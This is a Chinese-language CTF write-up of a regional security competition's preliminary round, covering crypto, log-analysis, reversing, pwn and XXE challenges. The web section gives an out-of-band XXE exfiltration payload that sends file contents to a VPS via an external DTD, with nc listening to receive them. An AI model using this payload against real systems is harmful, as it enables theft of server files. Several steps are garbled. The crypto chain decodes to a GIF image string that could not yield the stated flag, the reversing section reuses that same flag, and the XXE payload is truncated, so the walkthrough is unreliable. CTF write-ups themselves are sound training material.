记一次某地市网络安全行业职业能力竞赛初赛CTF题解WP(全)
字数 1942 2025-09-01 11:26:02
CTF竞赛初赛题目详解与解题思路教学文档
一、Crypto题目:编解码综合应用
题目名称:凯撒先生跨过了3层栅栏
考点:Base58、W型栅栏密码(3栏)、ROT13
解题步骤:
- 初始密文:
2vnWdE3QfQQvsZZaozQLiRMhYbmG1o1vhFWcjfcZbAUmnpW5XKUU7DYRQA - Base58解码:
- 工具:CyberChef或在线Base58解码器
- 结果:
R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7(类似Flag格式)
- W型栅栏密码(3栏):
- 解密工具:手动或使用栅栏密码解码器
- 结果:
R0lGODlhAQABAIAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7(进一步接近Flag)
- ROT13解码:
- 最终Flag:
flag{X0r_Base_Are_G00d_Br0ther}
- 最终Flag:
关键点:
- 题目提示中的“58摄氏度”指向Base58,“3层栅栏”明确密码类型。
- ROT13是凯撒密码的特例(位移13),需结合题目名称“凯撒”联想。
二、Misc题目:日志分析
题目名称:服务器入侵痕迹分析
考点:Linux日志文件分析、SSH登录追踪
解题步骤:
- 日志文件类型:
auth.log:记录认证成功/失败信息(关键文件)。wtmp.log:用户登录历史。btmp.log:失败登录尝试。
- 筛选攻击者IP:
- 命令:
grep "Accepted" auth.log | awk '{print $11}' | sort | uniq -c - 结果:统计所有成功登录的IP及次数。
- 命令:
- 分析恶意IP:
- 发现
177.77.135.158存在大量爆破记录(如Failed password)。 - Flag:
flag{177.77.135.158}
- 发现
正统解法:
- 通过
grep -oP 'Accepted \K[0-9.]+' auth.log提取IP,结合登录后异常进程判断。
三、Rev题目:逆向与异或加密
题目名称:XOR与Base的纠缠
考点:IDA逆向、Base58解码、异或解密
解题步骤:
- IDA分析:
- 主函数
main检查输入长度(0xA < len ≤ 0xE)。 - 关键函数
sub_2BE3验证输入是否为"target"。
- 主函数
- 密文提取:
- 全局变量
unk_6280存储Base58密文。
- 全局变量
- Base58解码:
- 解码后数据:
X0r_Base_Are_G00d_Br0ther(需补flag{})。
- 解码后数据:
- 异或验证:
- 脚本验证Key为
0x37(若题目要求)。 - Flag:
flag{X0r_Base_Are_G00d_Br0ther}
- 脚本验证Key为
关键点:
- 静态分析时忽略无关代码,直接定位密文存储位置。
- 题目名称提示异或操作,但实际Base58解码后即得Flag。
四、Pwn题目:栈溢出与Shell获取
题目名称:数字游戏与Shell
考点:交互式漏洞利用、逻辑绕过
解题步骤:
- 交互测试:
- 输入
12触发计算逻辑。 - 输入
a、1、1绕过检查。
- 输入
- 获取Shell:
- 通过
cat /flag读取Flag。 - Flag:
flag{JJmUtICpYFmtIiSBM6u0UAlJ4HZLjSWq}
- 通过
正统解法:
- 分析二进制文件,发现
byte_8104C84[0] == 103时触发Shell。 - 输入序列:
-1→9→ 计算触发漏洞。
五、Web题目:XXE漏洞利用
题目名称:XML外部实体注入
考点:XXE攻击、DTD文件外带数据
解题步骤:
- 准备恶意DTD:
<!ENTITY % start "<!ENTITY % send SYSTEM 'http://VPS_IP:1234/?%file;'>">- 托管在公网服务器(如
http://111.230.72.48/xxx.dtd)。
- 托管在公网服务器(如
- 构造Payload:
%remote; %start; %send; ]> &lab;- Base64编码后通过表单提交。
- 监听数据:
- 在VPS上通过
nc接收Flag(Base64解码后)。
- 在VPS上通过
关键点:
- 利用
php://filter/convert.base64-encode/resource=/flag读取文件。 - 需要绕过服务器限制,如禁用外部实体时的替代方案。
总结与备赛建议
- 工具准备:
- CyberChef(编解码)、IDA Pro(逆向)、nc(网络交互)。
- 技巧提升:
- 日志分析:熟悉
auth.log、wtmp等文件结构。 - 逆向:快速定位关键函数与全局变量。
- 日志分析:熟悉
- 漏洞利用:
- Pwn题目注重输入逻辑测试,Web题目关注常见漏洞(如XXE、SSRF)。
附录:题目原始文件与脚本可参考GitHub仓库。